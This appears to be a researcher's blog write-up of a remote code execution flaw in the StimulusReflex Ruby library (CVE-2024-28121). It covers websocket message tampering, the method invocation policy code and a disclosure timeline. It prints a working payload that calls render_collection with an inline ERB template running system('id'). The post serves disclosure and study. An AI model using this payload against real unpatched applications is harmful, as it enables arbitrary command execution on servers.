when ruby's public_send method is an oddly named eval
There are different approaches to the problem of updating only the relevant part of the page when a user performs an action. My understanding of the StimulusReflex library is that it tackles this problem in a way that still relies on server-side templates. That is, it uses websockets messages to request a part of the html to be built server-side.
exploration
When using a StimulusReflex application, you will see a websocket connection being established for the /cable path. Under certain user actions messages that can look like the following will be exchanged:
{"command":"message","identifier":"{\"channel\":\"StimulusReflex::Channel\"}","data":"{\"attrs\":{\"data-reflex\":\"change->DocumentReflex#change_name\",\"data-reflex-dataset\":\"ancestors\",\"class\":\"form-control\",\"value\":\"rename.me.me\",\"data-controller\":\"folders\",\"data-action\":\"change->folders#__perform\",\"checked\":false,\"selected\":false,\"tag_name\":\"INPUT\"},\"dataset\":{\"dataset\":{\"data-reflex\":\"change->DocumentReflex#change_name\",\"data-reflex-dataset\":\"ancestors\",\"data-controller\":\"folders\",\"data-action\":\"change->folders#__perform\",\"data-reflex-root\":\"#folder\",\"data-document-id\":\"543884\"},\"datasetAll\":{}},\"selectors\":[\"#folder\"],\"id\":\"84abfdb3-a58d-4248-a9a2-ad7aa619056a\",\"resolveLate\":false,\"suppressLogging\":false,\"xpathController\":\"//*[@id='document_543884']/div[1]/div[3]/form[1]/input[1]\",\"xpathElement\":\"//*[@id='document_543884']/div[1]/div[3]/form[1]/input[1]\",\"inner_html\":\"\",\"text_content\":\"\",\"reflexController\":\"folders\",\"permanentAttributeName\":\"data-reflex-permanent\",\"target\":\"DocumentReflex#change_name\",\"args\":[],\"url\":\"http://localhost/\",\"tabId\":\"69415f36-c3ce-4922-abb3-1739fcfe77e9\",\"version\":\"3.5.0-pre10\",\"formData\":\"\"}"}
There is a lot of stuff in this message and I don't know what it is all used for but you can see interesting target and args fields: \"target\":\"DocumentReflex#change_name\",\"args\":[]. This corresponds to a server-side class and method that will be invoked. Even before reviewing how this invocation is implemented, you can try to change the #method part with a method from the object class. Promisingly, this would lead to responses such as "wrong number of arguments (given [], expected [[:req]], optional [])".
{"identifier":"{\"channel\":\"StimulusReflex::Channel\"}","message":{"cableReady":true,"operations":[{"name":"stimulus-reflex:morph-error","payload":{},"stimulusReflex":{"attrs":{"data-reflex":"change-\u003eDocumentReflex#change_name","data-reflex-dataset":"ancestors","class":"form-control","value":"rename.me.me","data-controller":"folders","data-action":"change-\u003efolders#__perform","checked":false,"selected":false,"tagName":"INPUT"},"dataset":{"dataset":{"data-reflex":"change-\u003eDocumentReflex#change_name","data-reflex-dataset":"ancestors","data-controller":"folders","data-action":"change-\u003efolders#__perform","data-reflex-root":"#folder","data-document-id":"543884"},"datasetAll":{}},"selectors":["#folder"],"id":"84abfdb3-a58d-4248-a9a2-ad7aa619056a","resolveLate":false,"suppressLogging":false,"xpathController":"//*[@id='document_543884']/div[1]/div[3]/form[1]/input[1]","xpathElement":"//*[@id='document_543884']/div[1]/div[3]/form[1]/input[1]","innerHtml":"","textContent":"","reflexController":"folders","permanentAttributeName":"data-reflex-permanent","target":"DocumentReflex#method","args":[],"url":"http://localhost/","tabId":"69415f36-c3ce-4922-abb3-1739fcfe77e9","version":"3.5.0-pre10","formData":"","morph":"page"},"error":"wrong number of arguments (given [], expected [[:req]], optional []) ","reflexId":"84abfdb3-a58d-4248-a9a2-ad7aa619056a","operation":"dispatchEvent"}],"version":"5.0.0.pre10"}}
Yet, at this point no side-effect could be observed when attempting to call methods such as Object#instance_eval or Kernel#system!
vulnerability
In this case, finding the relevant security-sensitive code is as simple as searching for "wrong number of arguments (given [], expected [[:req]], optional [])". It is found in stimulus_reflex/app/channels/stimulus_reflex/channel.rb
def delegate_call_to_reflex(reflex) method_name = reflex.method_name arguments = reflex.data.arguments method = reflex.method(method_name) policy = StimulusReflex::ReflexMethodInvocationPolicy.new(method, arguments) if policy.no_arguments? reflex.process(method_name) elsif policy.arguments? reflex.process(method_name, *arguments) else raise ArgumentError.new("wrong number of arguments (given #{arguments.inspect}, expected #{policy.required_params.inspect}, optional #{policy.optional_params.inspect})") end end
Where the process method is basically public_send.
# Invoke the reflex action specified by `name` and run all callbacks def process(name, *args) run_callbacks(:process) { public_send(name, *args) } endThe crux of the matter is to find what counts as a method with arguments according to the ReflexMethodInvocationPolicy in stimulus_reflex/lib/stimulus_reflex/policies/reflex_invocation_policy.rb
module StimulusReflex class ReflexMethodInvocationPolicy attr_reader :arguments, :required_params, :optional_params def initialize(method, arguments) @arguments = arguments @required_params = method.parameters.select { |(kind, _)| kind == :req } @optional_params = method.parameters.select { |(kind, _)| kind == :opt } end def no_arguments? arguments.size == 0 && required_params.size == 0 end def arguments? arguments.size >= required_params.size && arguments.size <= required_params.size + optional_params.size end def unknown? return false if no_arguments? return false if arguments? true end end end
Ruby has different types of arguments. Notably there is :req for required arguments like "def foo(bar)", :opt for optional arguments like "def foo(bar=3)" or :rest for variable amount of arguments like "def foo(*bar)". According to ReflexMethodInvocationPolicy, only methods with :req or :opt parameters can be called and the methods attempted earlier all only have a single :rest argument. So what methods are left? This is simple to enumerate:
obj.methods.select do |name| obj.method(name).parameters.flatten.count { |type| type == :req or type == :opt } > 0 end
Among the results is the StimulusReflex::Reflex#render_collection method. This is a thin wrapper around a call to the ActionController::Base#render method and it supports passing in a template as a string.
\"target\":\"StimulusReflex::Reflex#render_collection\",\"args\":[{\"inline\": \"<% system('id') %>\"}]
This works because even though the inner render method uses a variable amount of arguments, the outer render_collection does not.
disclosure
- September 12ᵗʰ 2023: Disclosed vulnerability to the maintainer via github
- September 12ᵗʰ 2023: Maintainer writes a patch the same day. Yay for OSS!
- January 3ʳᵈ 2024: Maintainer is planning a release soon
- March 1ˢᵗ 2024: Reminder of public disclosure
- March 6ᵗʰ 2024: CVE-2024-28121 assigned
- March 12ᵗʰ 2024: Patch released
April 11ᵗʰ 2024